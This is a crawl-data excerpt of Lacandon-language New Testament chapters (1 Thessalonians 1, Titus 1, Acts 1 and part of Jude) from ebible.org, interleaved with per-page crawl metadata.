Tesalónica\n1 A teno', Pablojen, quin ts'ibtic techex a je' ju'una' yejer Silvano quin ts'ibtic. Yejer Timoteo quin ts'ibtic techex xan. Quin ts'ibticob techex ij quet acsʌ'orirex tu ca much'quintiquex a bʌjex quir a c'ujintiquex C'uj ich u cajar Tesalónica. Quin ts'ibticob techex quire' p'eri' a worex yejer ic Tetex C'uj. Baxuc, p'eri' a worex yejer ic Jaj Ts'urirex Jesucristo xan. A tenob, quin t'ʌnicob C'uj techex ca' u yamtechex ic Tetex C'uj. Baxuc ti' ic Jaj Ts'urirex Jesucristo. Ca' qui'ac a worex ti' ic Tetex C'uj soc mʌna' ba' ca tucriquex. Baxuc ti' ic Jaj Ts'urirex Jesucristo, xan.\nTaj tan u c'ʌmicob u t'ʌn C'uj ich u cajar Tesalónica\n2 U q'uinin quin c'ʌ'otiquechex quin t'ʌnicob C'uj techex: \"Bayo' C'uj\", quen ti', quire' a mac a ti' cʌja'anob ich u cajar Tesalónica. Rajra' quin waricob ti' C'uj: Bayo'. 3 Wʌ ber quin tarob ʌcʌtan ti' C'uj quin t'ʌnicob. Quin c'ʌ'oticob bic tabar caj a wacsex ta worex ti' Cristo rajen ca beyajex ti' C'uj. Quire' tan a pajiquex ca' bin tac Jesucristo ic Jaj Ts'urirex. Rajen tan a chichquintiquex a worex soc mʌ' a p'ʌtiquex u t'ʌn Jaj Ts'ur tu ca muc'yajex. 4 In bʌjobechex a mac a yajquinta'b ten C'uj. In werob tu tetechex C'uj soc ra' yʌninechex. 5 Caj tarenob in camsiquechexob bic tabar a ta'quiquex a bʌjex. Mʌ' chen t'ʌn in ca'ob uch caj in tsec'tob u t'ʌn C'uj chen yejer u muc' u Taj'or u Pixam C'uj caj in tsec'tajob techex. Caj in tsec'tob uch quire' in werob ra' jach taj u t'ʌn C'uj quin waricob techex, a jach erex a ti' cʌja'anenob ich a cajarex quir in yamtiquechexob quir a cʌnex u t'ʌn C'uj uch.\n6 A bʌjiri' caj a cʌnmʌnenobexe' baxuc caj a cʌnex Jaj Ts'ur xan. Qui' a worex caj a c'ʌmex u t'ʌn C'uj. Caj u qui'quintaj a worex, u Taj'or u Pixam C'uj cax ca muc'yajnʌjex uch. 7 Baxuc caj u cʌnob a nachirob. Baxuc caj u cʌna techex a mac cʌja'an tu cajarob ich u ru'umin Acaya. Bayiri' xan, a mac a cʌja'an tu cajarob ich u ru'umin Macedonia. Mʌ' ja wirej, tu cʌnob techex quire' tu yirob a qui' acsmʌnex ta worex u t'ʌn C'uj. 8 Mʌ' jari' ta wacsex ta worex chen caj binechex a tsec'tex u t'ʌn C'uj ich tu cotor u cajarob tu ru'umin Macedonia. Bayiri' tu ru'umin Acaya ta tsec'tex ti'ob. Baxuc ich tantanxer u ru'umin tu yubob bic ta wacsex ta worex u t'ʌn C'uj. Mʌ' ba'wir quin tsec'tic bic tabar ta wacsex ta worex quire' tu toc u'yob. 9 Tu cotor mac u bʌjiri' cu tsicbar tenob ti' techex. U bʌjiri' cu tsicbarob tenob a cu c'uchur tu yʌnenob. Caj u tsicbarob tenob, ra' q'uinin caj tarenob in wiriquechex uch. Caj ya'arob bic ta qui' acsenobex, tan a rʌc p'ʌtiquex a tus c'ujintiquex u rʌquir c'uj soc Jach C'uj ca qui' c'ʌmiquex soc a beyajex ti' Jach C'uj. Raji' ca beyajex ti' jach cuxa'an. Raji' jach C'uj a cuxa'ano'. 10 Raji'ob caj u tsicbatob a tenobo' bic tabar baje'rer tan a pajiquex Jesús ich ca'anan. Raji' u parar C'uj, caj wʌc'ʌs ric'sa'b tu quimirir Jesús ten C'uj. Raji' a cu ta'quico'onex tu cu bin u jʌsicob C'uj u q'uinin ca' bin xuruc t'ʌn soc mʌ' ic binex erar ich c'ac'.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/1TH01.htm","date":"2021-11-27T02:48:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358078.2\/warc\/CC-MAIN-20211127013935-20211127043935-00580.warc.gz","language":"lac","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"lac_Latn_score\": 0.9999984502792358}","num_words":571,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', CAJ U TS'IBTA PABLO TI' TITO\n1\nPablo cu ts'ibtic ti' Tito\n1 A teno' Pablojen, u c'urewen C'uj. A teno' Pablojen, caj u tuchi'ten Jesucristo, Tito. Caj tu tuchi'ten quir in camsic a mac a tu tetajob C'uj. A teno' caj u tuchi'ten quir in yamtic a mac a teta'anob ten C'uj, soc u qui' acsicob tu yorob ti' u t'ʌn C'uj. A teno' caj u tuchi'ten C'uj quir in yamtic ti'ob soc u qui' najticob u t'ʌn C'uj soc u qui' c'ujinticob C'uj. 2 Ca wiric, a teno' quin beyaj ti' C'uj, quire' tan in pajic u q'uinin quir in cuxtar munt q'uin. Mʌ' ja wirej, tu toc araj C'uj:\n―Je' in ts'ic tech a cuxtar munt q'uine'.\nA C'ujo' mʌ' ju tus. Mʌ' ja wirej, tu ch'ic chunin caj u ya'araj C'uj uch:\n―Je' in ts'ic tech a cuxtar munt q'uine', quij.\n3 A baje'rere', caj u toc esa to'on C'uj quir ij quiric bic tabar ij cuxtar munt q'uin. Quire' ij cu'yaj u tsec'tic u t'ʌn C'uj uch. Caj u chich araj ten C'uj, quij Pablo:\n―Xen tsec't in t'ʌn.\nBaxuc caj u ya'araj yʌjtaquiro'on ten. 4 A je' ju'una' Tito, tin ts'ibtech quire', Tito, irech in pararech quire', caj a wacsa ta wor u t'ʌn C'uj, Tito. Baxuc teno', quij Pablo. In c'at Tito, ca' u yamtech C'uj ic Tet. Baxuc xan in c'at ca' u yamtech Jesucristo ij cʌjtaquir, Tito. In c'at ca' u yajquin tech C'uj, Tito. Baxuc Jesucristo. In c'at ca' qui'ac a wor Tito ti' C'uj baxuc ti' Jesucristo, soc mʌna' ba' ca tucric.\nTi' cu beyaj a Titojo' ich u petenin c'ac'nab. Creta u c'aba'\n5 Tito, quen. Caj in p'ʌtech ta beyaj ich u petenin c'ac'nab. Creta u c'aba' u petenin c'ac'nab. Caj in p'ʌtech ta beyaj Tito soc a toc ts'ocsic in beyaj soc a qui' tajquintic. \"Bin in ca' Tito\", quen tech. A techo' quir a tetic u ts'urirob ich a wet acsʌ'orirob tu cu much'quinticob u bʌj. Ca' a tet u jach ts'urirob tu cu much'quinticob u bʌj. Jujuntur u ts'urirob, quire' u tirir ti' u cajar tu cu c'ayob xan. 6 A mac a bin tetbir ten u bʌjob tu cu c'ayob Tito. Arej u tetob a mʌ' u pac'ʌ'rob u pach ten u rac'obo'. Ca' u teticob u ts'urirob tu cu c'ayob, a yʌn turiri' u raq'ue'. A yʌn u pararo', a tu yacsob tu yorobo'. A yʌn u pararo', a mʌ' tan u manob tu c'asir, cax baxuc cu ya'aric u rac'obo' tan u manob tu c'asir, quij. A yʌn u pararo' a cu quibicob u t'ʌn u tete'. 7 A mac bin u ca' tetbir ten u bʌjob tu cu c'ayob. Arej ti'ob ca' u tetob a mac a mʌ' u pʌc' u pachob u rac'obo'. Quire' robob cu bin tetbir quir u beyaj yejer C'uj. Ca' u tetob a mʌ' seb cu p'ujur u yorobo'. A mac a mʌ' ju tucrej tu yorob:\n―Jach caremen, a teno'.\nMʌ' u yʌn teticob a cu carchʌjʌre'. A mʌ' ju p'use yorob u rac'obe'. A mʌ' ju nepachtob u taq'uin u rac'obe'. 8 Rajen arej u tetob a cu man tu tsoyir, a cu bin ocar tu ts'urir tu cu c'ayob. Ar u cʌxtob a mac a nanij u yacsic mac tu yatoche'. Cʌxt a mac a tu cʌna C'ujo'. Cʌxt a mac a nemʌ' biqui'. Cʌxt a mac a cu cʌnantic u bʌj ti' a c'aso'. 9 Cʌxt a tetej a mac a cu qui' cʌnantic u tajir u t'ʌn C'uj. A mac a cu man u chiquint u yorob u rac'obo'. A cu camsic u tajir ich u t'ʌn C'uj, cax p'asta'b ten mac, an bic camsa'b a ti'obo'. Tan u camsic ti'ob a ba' taj ti' u t'ʌn C'uj. Bayiri', a c'ucha'an yor u yesic u t'ʌn C'uj ti' a mʌ' u quibicob u t'ʌn C'uj. Cax cu chen nunquicob u t'ʌn C'uj. Jaj ix tʌcoj cu c'axicob tu yorob u tucurob ti' u t'ʌn C'uj a mʌ' tu quibob u t'ʌn C'uj, jaj ix ti' je' u quibicob u t'ʌn C'uj xane'.\n10 A baywo' arej ti'ob ca' u tetob u ts'urir an ten bic tin wa'araj tech. Mʌ' ja wirej, yʌn ya'ab mac mʌ' tan u quibicob u t'ʌn C'uj. Tan u chen t'ʌnob. Mʌ' ju tucrob a ba' cu man ya'arob. Tan u tusaricob ti' u rac'ob. Baxuco' aro' mʌ' taj u tsicbar ich u winiquirob judíoji'. 11 Rajen arej ti' u ts'urir a wet acsʌ'orirob a teta'b ten u bʌjobo' ca' u ya'arej ti'ob:\n―Ca' u nup'ob u chi'ob.\nMʌ' ja wirej, Tito, tan u rʌc xaxac'ticob u tucurob, a ti' p'eri' cʌjricobo'. Quet yejer u xaxac'ticob u tucurob, tan u tus camsicob ti' u t'ʌn C'uj, quir u jaricob u taq'uin, cax mʌ' taj a ba' cu camsicobo'.\n12 C'aj tech wa Tito, a ucho', ti' yʌn yʌjtseq'uir u t'ʌn a cu tar ich u petenin Creta, caj u ya'araj:\n―A jin rac'obo' u bur u q'uinin tan u man tus. A jin rac'obo' jach c'as, irob bʌc', ts'ic. A jin rac'obo' jach coch u nʌc'ob. Mʌ' jach c'orob xan.\n13 A ba' caj u ya'araj ti' u rac'ob, yʌjtsq'uir u t'ʌn uch taj, quen. Rajen ca' a chich q'ueyob a ti'obo' a mac a cʌja'anob ich u petenin Creta, soc u quibicob a ba' jach tsoyo'. 14 Chich q'uey a ti'obo' soc mʌ' ju cʌnicob a ba' cu sosoc aricob, u winiquirob judío. Quire' aro', mʌ' taj a cu ya'aricobo'. Arej ti'ob soc mʌ' u yʌn quibicob a mac a tu p'uspachtob u t'ʌn C'uj.\n15 Mʌ' ra' cu pac'ʌr u si'pirob a ba' camsa'b ten u nunquirob uch. Mʌ' ja wirej, tu cotor ba' tsoy ti' a mac a ruc'sa'b u si'pirob ten C'uj. Chen a mac a mʌ' tsoy yorob, c'as cu tucricob. Raji' cu pac'ʌr u si'pirob a ba' camsa'b ten u nunquir. Quire' mʌ' ju yacsob tu yorob quir u ruc'sicob u si'pirob. Rajen xaxac'a'an u tucurob. Rajen mʌ' yer bic tabar u manob tu tsoyir. 16 Robob cu tus a'aricob:\n―In wet manob C'uj.\nChen mʌ' ju manob tu tsoyir, rajen ij quer tus u ca'ob. Mʌ' ja wirej, robob caj p'acta'bobo' ten C'uj quire' mʌ' ju quibicob u t'ʌn mac. Rajen mʌ' ju c'uchur u yorob u manob tu tsoyir.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/TIT01.htm","date":"2021-11-27T02:55:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358078.2\/warc\/CC-MAIN-20211127013935-20211127043935-00606.warc.gz","language":"lac","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"lac_Latn_score\": 1.0000039339065552}","num_words":1037,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.311,"stopwords_ratio":0.504,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A BA' TU BETAJOB A MAC A TETA'B QUIR U TSEC'TOB U T'ɅN C'UJ\nHECHOS\n1\nTu toc araj Jesús je' u tar u Taj'or u Pixam C'uj\n1 Uche' tin yʌn ts'ibtaj u ju'unin tech Teófilo, a mac in jach yaje'. Caj in wa'araj tech tu cotor a ba' caj u betaj Jesúse'. Bayiri' xan, tu cotor a ba' caj u camsaj a ra' u q'uinin tu yʌnxchun u beyaj Jesúse'. 2 Tin toc ts'ibtaj tech Teófilo a ba' caj u betaj Jesús hasta caj bin ca'anan. Chen mʌ' toy xic Jesús ca'anani', caj u tetaj u camsʌwinicob. Mʌ' ja wirej, ts'a'b u t'ʌnin ti'ob ten u Taj'or u Pixam C'uj soc yerob a ba' cu bin u beticob. 3 Caj ts'oc u muc'yaj Jesús, caj riq'uij caj u yesaj u bʌj ti' u camsʌwinicob cuxa'an. Jach jaj caj u yesaj u bʌj ti'ob. Ya'ab u beyaj caj u yesaj ti'ob soc yerob cuxa'an. Cuarenta q'uin ti' yʌn yejer u camsʌwinicob cu tsicbar ti'ob bic cu bin u reyinticob C'uj.\n4 Ti' toy yʌn Jesús yejer u camsʌwinicob caj u ya'araj ti'ob:\n―Mʌ' a yʌn p'ʌtiquex ich u cajar Jerusalén. Ti' a yʌn toc pajiquex a ba' tu toc araj in Tet C'uj u ts'ic techex ―quij―. Baxuc caj in wa'araj techex. 5 Mʌ' ja wirej, a Juano' caj u yacsaj ja' tu jo'r mac yejer ja'. Chen mʌ' ya'ab q'uin je' u tar ta wicnʌnex u Taj'or u Pixam C'uj. Raji' bin u ca' c'asiquex techex in t'ʌn.\nJesús caj ca' binij ca'anan\n6 Ti' u rʌc much'a'anob u camsʌwinicob ich Jesús barej caj c'ata'b ti' ten u camsʌwinicob:\n―Ber u q'uinin cu bin u reyinticob u ru'umin u winiquirob israel? Baje'rer wa? ―quij.\n7 Caj u nuncaj ti'ob Jesús tan ya'aric ti'ob:\n―Mʌ' ts'aja'an techex quir a wetiquex tu q'uinin u tar. Mʌ' chumuc yaxq'uin, wa ju q'uinin cu tar ja'. Chen C'uj u ricsmʌn ti', u bʌjiri' yer. 8 Barej ca' bin tac u Taj'or u Pixam C'uj, je' a c'ʌmiquex u muc' ich a worex. Taj je' a bin a wa'ariquenex ich u cajar Jerusalén, cax ich u ru'umin Judea, cax ich u ru'umin Samaria hasta tu cu xur tu cotor u cajarob ich yoc'ocab.\n9 Caj ts'oc u ya'aric a jeroj ti'ob, jeroj ti' toy cu pʌcticob Jesús. Seb caj binij ca'anan. Robob caj u yirajob u bin ca'anan, jeroj caj tar u muyarir. Jeroj, mʌ' chʌca'an u bin Jesúsi'. 10 Cu qui'qui' chanticob ca'anan u camsʌwinicob Jesús, caj tarob tu yʌnob ca'tur xib. Robob u buquimʌnob jach sʌc u noc'. 11 Tu ya'arajob ti' u camsʌwinicob Jesús:\n―Mʌ' a yʌn pʌctiquex ca'anan, a techex u xibirechex u ru'umin Galilea. Je' u ca' tare' Jesús an bic caj a wirajex u bin ca'anan ―baxuc ara'b ti'ob ten a ca'tur xibo'.\nTeta'b Matías quir u yocar tu beyaj Judas\n12 Ti' u witsir u c'aba' Olivo, caj sutpʌjob ich u cajar Jerusalén. A ray witso', nʌts'a'an ti' u cajar Jerusalén, bay u nachir u bin mac u q'uinin tu cu jesicob u bʌj u winiquirob judío. Ca'tur kilómetro. 13 Caj wʌc'ʌs sutnʌjob u camsʌwinicob ich u cajar Jerusalén. Ti' nacob ca'anan tu jun c'as naj tu jamach ocob. Rʌc ti' yʌnob Pedro, Jacobo, Juan, Andrés, Felipe, Tomás, Bartalomé, Mateo, Jacobo, ra' u parar Alfeo. Simón, a cu sayʌr tu pach cananistaje' yejer Judas u sucu'un Jacobo. 14 Tu cotor a jeroj quet yorob cu t'ʌnicob C'uj quet yejer a xquico'. Mʌ' ja wirej, ti' yʌn u nʌ' Jesús cu t'ʌnic C'uj xan. Ti' yʌn u jach its'inob Jesús xan.\n15 Ra'iri' u q'uinin tu cu t'ʌnicob C'uj, caj riq'uij u ch'ictar Pedro ich chumuc tu yʌn a mac a yacsmʌnob tu yorob. Ti' yʌn ciento veinte a mac a yacsmʌnob tu yorobe'. Caj ya'araj Pedro ti'ob:\n16 ―In wet acsa'orirex, yʌn u ts'ocsic a tu ts'iba'an u t'ʌn C'uj a tu ara'b ten u Taj'or u Pixam C'uj uch. Mʌ' ja wirej ―quij―, David ic nunquirex caj u ts'ibtaj ti' ixba' Judas uch, a ra' caj u c'ubaj Jesús ca' quinsac. 17 Mʌ' ja wirej, ber caj teta'b Judas ten Jesús, p'eri' ic beyajex yejer Judas. A Judaso' raji' ic nupex. 18 Chen raji' Judas yejer u taq'uin a ju bo'orir tu tu c'ubaj Jesús caj u mʌnaj u ru'umin. Tiri' tu jich'aj u c'o'och, caj u quinsaj u bʌj. Caj rub Judas bʌja'an binquij u jo'r. Jeroj caj buj u nʌc', caj joc' u chocher, caj joc' u q'uiq'uer Judas. 19 Rajen a mac a cʌja'an ich u cajar Jerusalén caj yubob bic caj u quinsaj u bʌj Judas, jeroj robob tu pʌchajob u c'aba' u ru'umin a tu mʌnaje', Acéldama, ra' u c'at ya'aric, u ru'umin tu joc' u q'uiq'uer Judas. 20 Mʌ' ja wirej ―quij Pedro―, toc ts'iba'an ich u ju'unin salmos tu cu ya'aric: \"Mʌ' a cha'ic u cajʌr mac soc chen saj nʌj.\" Tu ca' araj ich u jer ich u ju'unin salmos, tu cu ya'aric: \"Arej u ch'aj u yet beyaj soc u jer quir u c'ʌnic beyaj\", baxuc caj ya'araj ich u t'ʌn C'uj a salmoso'.\n21 'Rajen ―quij Pedro―, in wet acsa'orirex ca' ic tetex baje'rer a mac ij quet manex yejero'onex u burur q'uin ti' yʌno'onex yejer Jesús uch. 22 Raji' ca' ic tetex a mac a caj u yiraj Juan tu yacsaj ja' tu jo'r mac hasta caj u yiraj tu wich u bin Jesús ca'anan, quire' raji' yʌn u man u jumintej wa riq'uij Jesús. Taj cu bin u jumintej Jesús.\n23 Jeroj ca'turob caj u tetajob ich u rac'ob. Jeroj José, ca'p'er u c'aba' José, Barsabás, raji' u yo'nen Justo. Jeroj u jer turiri' teta'b xan, Matías u c'aba'. 24 Jeroj tune', caj u rʌc t'ʌnajob C'uj caj ya'arob:\n―Tech, Jaj Ts'urir ―quij ya'aric―. A werob u pixam tu cotor mac, ese to'onex mac a c'at tech ich a je' ca'turob. 25 Soc raji' cu ca' tsec'tic a t'ʌn soc raji' cu bin quir u yamtico'onex. Mʌ' ja wirej, caj u p'ʌtaj u beyaj Judas caj u c'ubaj Jesús, jeroj caj bin erar Judas.\n26 Jeroj caj yʌrʌc'tajob u chan tunich quir yiric mac cu yocar beyaj yejer u camsʌwinicob Jesús. Caj ts'oc u puric a chan tunicho', jeroj caj u tetaj Matías. Caj oc u beyaj yejer u camsʌwinicob Jesús, yejer a oncejo'.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/ACT01.htm","date":"2021-11-27T02:08:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358078.2\/warc\/CC-MAIN-20211127013935-20211127043935-00145.warc.gz","language":"lac","language_score":0.9999901056,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.9999901056289673}","num_words":1024,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.287,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', CAJ U TS'IBTA JUDAS\n1\nA Judaso' caj u ts'ibtaj ti' a mac teta'b ten C'uj\n1 A teno' Judasen. A teno' u c'urewen Jesucristo. Judasen a jin sucu'uno' Jacobo. A je' ju'una' quin ts'ibtic techex a mac teta'an ten ic Tetex C'ujo', soc raji' yʌninechex. Quin ts'ibtic a je' ju'una' ti' a mac jach yajquinta'b ten C'uj. A mac cu qui' cʌnanta'r ten Jesucristo ti' a c'aso'. 2 Caj u yiraj otsirechex Jesucristo. Jach manan caj yiraj otsirechex Jesucristo. Jach manan u ch'a'ic ca' qui'ac a worex ti' C'uj, jach manan u qui' tar a worex ti' C'uj. Ca' u qui' yajquintechex C'uj. Jach manan u yajquintiquechex C'uj.\nJudas caj ya'araj je' u tarob u tus ʌjcamsʌyʌjirob\n3 A teno', quij Judas. In jach c'at in ts'ibtic a je' ju'una' techex in jach yajechex. A teno' in jach c'at in ts'ibtic techex a je' ju'una' soc a werex C'uj cu taquico'onex. Chen a baje'rero' aro' mʌ' jin bin in ts'ibtej techex. Chen quin bin in chich arej techex soc a p'isiquex a bʌj, quij Judas, soc mʌ' u c'axicob u t'ʌn C'uj a cu tus camsicob u t'ʌn C'ujo'. Chichquintex a worex quir a wa'ariquex ti'ob. Mʌ' ja wirej, aro' mʌna' mac cu yʌnyʌn bin c'axic u t'ʌn C'uj. Mʌ' biq'uin quire' C'uj caj u toc ts'aja to'onex uch. 4 A teno' quin chich c'atic techex quire' yʌn xib, mʌ' pim xibi' a cu tar u much'quintob u bʌjob yejerechex. Robob mʌ' ju ya'arob ba'wir cu tarob quire' c'as. Robob mʌ' ju sʌjtob C'uj. Cu tus a'aricob: \"Cax quic manex quire' a C'ujo', jach tsoy yor cax quic manex.\" Robob cu ya'aricob mʌ' yerob C'uj, bayiri' Jesucristo. Chen a to'onexo' quij cariquex: \"Raji' ic ts'urirex, aro' ic Jaj Ts'urirex. A ucho', caj ts'ibta'b ten yʌjtseq'uirob u t'ʌn C'uj je' yubicob u ts'iquirob C'uj an ten bic ts'iba'an ich u t'ʌn uch.\"\n5 Cax a toc erex, quij Judas, tu cotor a ba' ta toc u'yex a ucho'. A teno' in c'at in ca' c'asic techex, quij Judas. In c'at in ca' c'asic techex bic tabar ch'esa'b ten C'uj u winiquirob Israel quire' mʌ' ju quibob u t'ʌn C'uj. Cax yʌn toc ten C'uj uch ti' u ru'umin Egipto. 6 C'aj techex wa yʌjmasirob u t'ʌn C'uj uch, a jun yarobo', quij Judas. Mʌ' ju cʌnantob u beyajob uch, tu cu beyajob ich ca'anan, tu cu ts'urinticob C'uj. Caj joc'sa'bob ten C'uj, caj binob purbir ich yaran ru'um uch. Ti' c'ʌra'anob ten C'uj yʌjmasirob u t'ʌn C'uj uch. Ca' bin c'uchuc tu q'uinin je' u binob ʌcʌtan C'uje' quir u jasʌrob ten C'uj. Mʌ' ja wirej, tu p'ʌt u beyajob ich ca'anan. 7 C'aj techex wa, quij Judas, u cajarob Sodoma yejer u cajarob Gomorra. C'aj techex, quij Judas, tu bo'otajob u bo'orir u si'pirob quire' toca'b ten C'uj ich u c'aq'uir munt q'uin. Mʌ' ja wirej, quij Judas, a ucho' u c'at manob yejer u yet xibirob. Quire' mʌ' tsoy u manob yejer u yet xibiri' quire' jach c'as aro', quij Judas. Baxuc xan, caj beta'b ten yʌjmasirob u t'ʌn C'uj uch, a tu p'ʌtajob u beyajob. Aro' quir u camsico'onex bic tabar cu bin bo'ota'r ten C'uj a mac a yʌn u si'pirob.\n8 Mʌ' ja wirej, a je' tus camsʌyʌjirob ra'iri' cu cʌxticob u si'pirob an ten bic u winquirirob Israel ich tʌcay ru'um uch. An ten bic u yʌjmasirob u t'ʌn C'uj, a tu p'ʌtob u beyajob uch. An ten bic u winquirirob tu cajarob Sodoma yejer Gomorra. Cax a ba' tin toc araj ti'ob ti' toy cu cʌxticob u si'pirob. Mʌ' ja wirej, cu manob. Mʌ' ju yubob u t'ʌn a mac a cu ts'urinticob. Cu p'asticob u yʌjmasirob u t'ʌn C'uj. Aro' cu beticob quire' ya'aricob cu yiricob C'uj. 9 C'aj techex wa, quij Judas. A ucho' yʌn turiri' u c'aba' Miguel. A rayo' u ts'urir yʌjmasirob u t'ʌn C'uj ich ca'anan. U bʌjiri' Miguel mʌ' ju betaj an ten bic caj u betob u tus camsʌyʌjirob. Mʌ' ja wirej, a Miguelo' ber caj u nunca u t'ʌn ti' quisin soc yer mac cu bin u ch'ic u baquer Moisés. Mʌ' ju tus tucraj yʌn u muc' soc u p'astic a quisino'. Rajen caj ya'araj Miguel: \"Je' u q'ueyiquech C'uje' quisin, quij ya'ara' ten Miquel quire' c'asech\", quij Miguel, yʌjmasirob u t'ʌn C'uj. 10 Chen a je' tus ʌjcamsʌyʌjiroba' cu p'asticob u yʌjmasirob u t'ʌn C'uj a mac a mʌ' ju najtobo'. Rajen arayob irob bʌc'. Mʌ' ja wirej, a bʌc'o' yer a ba' cu betic, chen mʌ' ju tucrobi'. Rajen cu binob ich c'ac' a cu tus camsicob u t'ʌn C'ujo'.\n11 Jach c'as cu bin tar ti' a je' xiba' a mʌ' ju quibob C'uj, quij Judas. Mʌ' ja wirej, cu sayʌrob tu pach Caín a mʌ' ju quibaj C'uj uch xano'. A je' xiba' a cu tus camsicob u t'ʌn C'uj caj u c'ubob u bʌj quir u camsicob a ba' cu sosoc aricob ti' u t'ʌn C'uj. Soc u jaricob u taq'uin an ten bic Balaam caj u sosoc arbar ti' u t'ʌn C'uj soc u t'ajar u taq'uin uch. A je' xiba' cu cʌnicob Coré. C'aj techex Coré, ti' cʌja'an tu q'uinin Moisés uch. Caj u p'astaj Moisés tu cu ts'urintic Moisés u winquirirob Israel. Rajen caj quinsa'b Coré ten C'uj. Baxuc cu bin quiminob a je' xib xana'. 12 A je' xiba', a cu tus camsicob u t'ʌn C'uj mʌna' u suraquirob. Tu q'uinin a qui' qui' janʌnex soc a wesiquex bic a yajquintex a wet acsʌ'orirex. Robob cu chen c'at u janʌnob, mʌ' ju tucrob C'uj. Chen u bʌjiri'ob u qui' qui' janʌnob chen u rac'ob mʌ' u c'at u ts'icob ti'obi'. Mʌ' ju yamtob mac. Robob mʌ' ba'wir ti'ob. Rajen irob a muyarob a cu cuchur ten iq'ue'. Mʌ' ju tar ya'arir quire' cu cuchur u muyarir ten ic'. Robob mʌ' ba'wir ti'ob. Rajen irob che' a mʌ' ju ts'aj u wiche' ca' bin c'uchuc tu q'uinin, mʌ' ju bin ichʌncʌr. Raji' chen an ten bic che' caj tijij u mos. Mʌ' chen teni' barej tu ca'ten, quire' mʌ' ju wichʌncʌr. Pachir cu rʌc jacaj u che'er quire' tijij. 13 A je' u tus ʌjcamsʌyʌjirob u t'ʌn C'uja' cu manob tu c'asir. Mʌ' ja wirej, irob, quij Judas, u ya'amin c'ac'nab, a jach chich u bin u ya'amino' c'ac'nabo'. A cu p'ʌtic u yom ich u chi' c'ac'nabo', a ju p'up'iro'. Robob, quij Judas, mʌ' c'ucha'an yorob u pʌyicob u ber mac. Quire' irob a sa'ab a tar yʌn ich ca'anano'. A ca wiric u manob ich ca'anan, a caj u p'ʌtajob u ber a sa'abo', rajen mʌ' ba'wir quir u yamtic mac. Rajen robob a tus ʌjcamsʌyʌjirob u t'ʌn C'uj bin u ca' tuchi'bir ten C'uj ich yac'birir munt q'uin.\n14 Tsec'ta'b ten Enoc uch a ba' cu bin tare' ti' a je' tus ʌjcamsʌyʌjirob. Tsec'ta'b ten Enoc a ba' u ber ti'ob. A Enoco' u parar Adán uch, chen raji' rub tu pach u bʌjob c'uchij siete. Caj u tsec'taj Enoc uch, caj u ya'araj ti'ob: \"U'yex u t'ʌn C'uj. Je' u tar ic Jaj Ts'urirexe', yet tarob yʌjmasirob u t'ʌn C'uj. Jach pimob yʌjmasirob u t'ʌn C'uj ca' bin tac. Miles ca' bin tac, quij Enoc. 15 A Jaj Ts'ur ca' bin taco', quij Enoc. Je' u jʌsic tu cotor mac. A mac c'as caj u betaj, bin u ca' ts'abir u muc'yaj, quire' rajra' c'as caj u betob. A mac a caj u p'astob C'uj, ti' cu bin ts'abir u muc'yaj quire' rajra' c'as caj u betob xan, quire' tu p'astob C'uj. Mʌ' ja wirej, jach c'as u t'ʌnob\". Baxuc caj u tsec'taj Enoc ucho'. 16 C'aj techex, quij Judas, a mac a cu tus camsicob u t'ʌn C'uj, choc yorob. Bayiri' cu manob u pʌc'ob u pachob u rac'ob. U bʌjiri'ob cu cʌxticob u si'pirob, a ba' c'asir cu pachticob tu yorob. Cu jach qui' tsicbarob yejer mac soc ca' ts'abʌc ti' tu t'ʌn ba' soc raji' yʌnin. Robob cu tsicbarob an ten bic mac a net'ojob.\nQuin chich aric ti'ob, quij Judas. A mac a yacsmʌnob tu yorob ca' u cʌnant u bʌjob ti' a c'aso'\n17 C'aj techex, quij Judas, in jach bʌjobechex. C'ʌ'otex a ba' caj a wu'yex ya'aricob a mac a bat'an tuchi'ta'b ten ic Jaj Ts'urirex Jesucristo uch. 18 Caj ya'arob uch: \"Ca' bin c'uchuc tu q'uinin tabar u tar Jesucristo je' u tar mac quir u chejtiquechex, quij a mac tuchi'ta'b ten Jesús. Je' u cʌxticob u si'pirob a ba' c'asir cu pachticob tu yorob quire' u c'at yacsicob tu si'pirob, quij a tuchi'ta'b ten Jesucristo uch.\" 19 Mʌ' ja wirej, quij Judas, a je' tus ʌjcamsʌyʌjirob u t'ʌn C'uj tan u jʌsiquechex soc mʌ' quet a worex yejer. A werex mac cu ts'urintic tu cotor c'as, ra' cu ts'urinticob. Mʌna' u Taj'or u Pixam C'uj ti'ob, quire' c'as cu ts'urinticob.\n20 Barej a techexo', quij Judas, in jach bʌjobechex in jach yajechex. Mʌ' a yʌn cʌniquex a tus yʌjcamsʌyʌjirob u t'ʌn C'uj. Ca' a qui' acsex ta worex ti' Jesucristo an ten bic caj ya'araj C'uj. Ca' a t'ʌnex C'uj yejer u muc' u Taj'or u Pixam C'uj a cu ts'ic techexe'. 21 Qui' cuxrenechex ich a rac'ob an ten bic a wu'yiquex u yajechex C'uj. Quire' ca qui' pajiquex u q'uinin quir u tar ic Jaj Ts'urirex Jesucristo. Soc ca' bin tac Jesucristo bin u ca' yirej otsirechex, rajen bin u ca' u ts'aj techex a cuxtarex munt q'uin.\n22 Yajquintex a mac a mʌ' chichac yor 